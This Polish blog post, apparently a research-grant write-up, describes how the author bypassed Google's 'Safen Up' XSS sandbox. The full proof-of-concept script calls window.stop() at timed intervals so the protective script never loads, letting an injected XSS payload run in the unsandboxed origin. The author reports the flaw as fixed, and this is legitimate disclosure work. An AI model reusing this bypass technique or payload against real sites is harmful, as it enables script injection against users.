Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Google Safen Up – ciekawe podejście do ochrony przed XSS
Wstęp
Od dobrych kilku lat firma Google prowadzi program bug bounty, w ramach którego płaci za znajdowane błędy bezpieczeństwa w jej produktach. Z punktu widzenia bug hunterów udział w tego typu programach jest obarczone pewnym ryzykiem, bowiem nie mają żadnej gwarancji, że czas poświęcony na szukanie błędów się opłaci; nie ma pewności, że uda się znaleźć jakieś błędy. Google, mając tego świadomość, rozpoczęło w tym roku nowy program – research grants. Jak sama nazwa wskazuje, jest to odpowiednik grantów na badania, a więc wypłacane są pieniądze za samo zbadanie pewnych tematów pod kątem bezpieczeństwa, co niekoniecznie musi zaowocować nowymi podatnościami.
Jako że zgłosiłem do Google’a kilkanaście błędów, postanowiłem aplikować o grant, który został mi przyznany po kilku dniach oczekiwania. Poniżej opiszę działanie aplikacji, o której analizę mnie poproszono.
Safen Up
Strona, która się zajmowałem znajduje się pod adresem https://safendup-xss-game.appspot.com/. Jest bardzo prosta, zawiera tylko jeden formularz (Rys 1.), nierobiący de facto nic sensownego, zwraca tylko na wyjściu to samo co użytkownik wpisał w polu tekstowym (Rys 2.).
Jak widać na załączonych obrazkach, po wpisaniu prostego payloadu XSS-wego, jakim jest wyświetlenie przekreślonego tekstu, został on wyświetlony. O co więc w tym wszystkim chodzi?
Zobaczmy co się stanie, gdy wykonamy alert(document.domain) z poziomu javascriptu (Rys 3).
Okazuje się, że alert jest wyświetlany, jednak w kontekście innej domeny (domeny sandboxowej). Dlaczego to takie istotne? Wyobraźmy sobie, że takie zabezpieczenie jest stosowane w ramach jakiejś podstrony w domenie mail.google.com. Znajdujemy tam XSS-a i próbujemy go wyexploitować – np. wyciągając treść wszystkich maili. Nie możemy jednak tego zrobić, bo XSS wykona się w kontekście domeny mail–google–com.safenup.googleusercontent.com, a zatem nie będzie miał dostępu do żadnych danych z domeny mail.google.com. Praktyczne zastosowania takiego XSS-a zostaną więc znacząco ograniczone.
Spójrzmy na źródło strony w domenie safendup-xss-game.appspot.com:
<!doctype html> <html> <head> <script src="//safenup.googleusercontent.com/safen-me-up.js" onerror="document.write('<PLAINTEXT>');"></script> <title>Hello, world of XSS</title> <link rel="stylesheet" href="/static/game-frame-styles.css" /> </head> <body id="level1"> <img src="/static/logos/level1.png"> <div> Sorry, no results were found for <b><Script>alert(document.domain)</script></b>. <a href='.'>Try again</a>. </div> </body> </html>
Patrząc w samo źródło strony, w szczególności na linię 13, wydaje się, że XSS powinien wykonać się w kontekście domeny safendup-xss-game.appspot.com. Tak jednak się nie dzieje, ze względu na skrypt z linii 4. Tam dzieje się cała magia i istota tego zabezpieczenia.
Działanie skryptu safen-me-up.js można podsumować w kilku punktach:
- Tworzony jest iframe, który wskazuje na domenę [oryginalna-domena].safenup.googleusercontent.com (domenę sandboxową),
- Iframe wypełniany jest tym samym kodem HTML, który znajduje się w ramce nadrzędnej (czyli np. iframe w domenie mail–google–com.safenup.googleusercontent.com wypełniany jest kodem z mail.google.com),
- Wszystko poza iframem jest wyrzucane z ramki nadrzędnej,
- W efekcie na stronie pozostaje tylko iframe z tą samą treścią, która wcześniej była „nad iframem”.
Błędy bezpieczeństwa?
W ramach przyznanego research grantu, moim zadaniem było znaleźć jakieś błędy w powyższym mechanizmie lub spróbować całkowicie go obejść, tj. wykonać XSS-a w kontekście domeny niesandboxowej.
Stwierdziłem, że skoro warunkiem koniecznym do tego, by zabezpieczenie zadziałało, jest załadowanie JavaScriptu z zewnętrznego pliku, może najprościej będzie sprawić, że plik nie zostanie w ogóle załadowany? Nasuwają się tutaj dwa scenariusze:
- Nadużycie XSS Auditora z Chrome’a i zablokowanie ładowania skryptu safen-me-up.js. Nie było to jednak wykonalne na testowej domenie ze względu na nagłówek odpowiedzi X-XSS-Protection: 0 (nagłówek sprawia, że XSS Auditor jest wyłączany),
- Atakujący – mający możliwość wykonania ataku man-in-the-middle w sieci – może po prostu blokować żądania do domeny zawierającej skrypt, sprawiając, że przeglądarka nie będzie w stanie go pobrać.
Po długich i żmudnych testach udało mi się znaleźć kolejną możliwość, która, jak się okazuje, jest raczej nieznanym wektorem ataku, który może mieć nieprzewidziane na razie konsekwencje w przypadku innych aplikacji.
Okazuje się, że w momencie naciśnięcia przycisku STOP w Chromie, natychmiast blokowane są wszystkie żądania wychodzące (tj. pobieranie skryptów, CSS-ów, obrazków itp.), natomiast skrypty inline (czyli takie, które nie są pobierane z zewnętrznego pliku .js) wciąż się wykonują. Zobaczmy jak wyglądał kod aplikacji w czasie moich testów:
<!doctype html> <html> <head> <script src="//safenup.googleusercontent.com/safen-me-up.js" ></script> <title>Hello, world of XSS</title> <link rel="stylesheet" href="/static/game-frame-styles.css" /> </head> <body id="level1"> <img src="/static/logos/level1.png"> <div> Sorry, no results were found for <b><Script>alert(document.domain)</script></b>. <a href='.'>Try again</a>. </div> </body> </html>
Jeżeli trafimy na odpowiedni moment na kliknięcie przycisku STOP tak, aby skrypt z linii 4 się nie zdążył pobrać (i nie został wykonany przez przeglądarkę), skrypt z linii 13 wykona się w kontekście niesandboxowej domeny. Oczywiście trudno oczekiwać, że wyexploitujemy XSS-a zmuszając użytkownika do kliknięcia STOP w odpowiednim momencie… na szczęście działanie tego przycisku możemy zasymulować metodą window.stop().
Wciąż pojawia się problem doboru odpowiedniego momentu zastopowania ładowania strony. Zależy on od wielu czynników, takich jak przepustowość łącza użytkownika, wydajność komputera itp. Dlatego napisałem prosty skrypt, który próbuje ładować stronę w iframie, a następnie stopować jej ładowanie po czasie 100ms, 125ms, 150ms itd. do czasu, gdy trafi w odpowiedni moment.
<!doctype html> <html> <head> <title>XSS@Safen Up</title> </head> <body> <script> var url = 'https://safendup-xss-game.appspot.com/?query=<u>xsstest\u003cscript>alert(document.domain),top.postMessage(31337,"*")\u003c/script>'; var run = true; var time = 100; var timeDelta = 25; window.addEventListener('message', onmessage, false); function onmessage(ev) { if (ev.data!==31337) return; var out = (ev.origin === 'https://safendup-xss-game.appspot.com') ? 'Time <b>'+time+'</b> ms does the trick for you.' : 'Oops! Wrong origin, the time is probably too big.'; document.getElementById('outputText').innerHTML=out; run = false; } function testXSS() { if (!run) return; window[0].location = url+'&'+Math.random(); setTimeout(function () { window.stop(); time+=timeDelta; setTimeout(testXSS, 10); }, time) } setTimeout(testXSS,1000); </script> <iframe src='about:blank'></iframe> <span id=outputText></span> </body> </html>
Problem został już naprawiony (chyba że wciąż istnieje jakieś obejście ;)), dlatego działanie powyższego skryptu można zobaczyć już tylko na filmiku:
Jak widać, wykonał się skrypt w kontekście domeny safendup-xss-game.appspot.com, co dowodzi obejścia zabezpieczenia.
Podsumowanie
W ramach przyznanego mi research grantu analizowałem aplikację Safen Me Up, której celem jest ochrona przed skutkami ataków XSS poprzez wydzielenie treści oglądanej strony do innej domeny. Na razie aplikacja jest we wczesnej wersji, więc z pewnością wymaga jeszcze wielu testów (nie tylko jeśli chodzi o bezpieczeństwo, ale także, na przykład, wydajność), ale samo podejście jest ciekawe i spodziewam się, że z czasem zacznie być wdrażane w aplikacjach Google.
Świetna robota, gratuluję umiejętności i nieszablonowego myślenia.
Miałbym pytanko odnoście callbacka onmessage obsługującego eventy, dlaczego robisz porównanie z wartością 31337?
Bo właśnie taka wartość jest ustawiana w linii 8. Równie dobrze mogłaby to być dowolna inna wartość służąca do sprawdzenia tego, czy skrypt się załadował, a dlaczego akurat 31337? Ot, taki haxiorski żarcik. :D
Właściwie nie muszę tego robić, ale wcześniej w swoim kodzie wykonuję top.postMessage(31337,”*”) – dlatego upewniam się, że otrzymuję wiadomość, którą wysłał mój payload XSS-owy – a mogę to rozpoznać właśnie po treści wiadomości, którą jest 31337.
Fajny text, wiecej takich ciekawych analiz!
a ja wiem jak zupełnie obejść kod js nawet po jego załadowaniu, ale nie powiem – niech google sra w gacie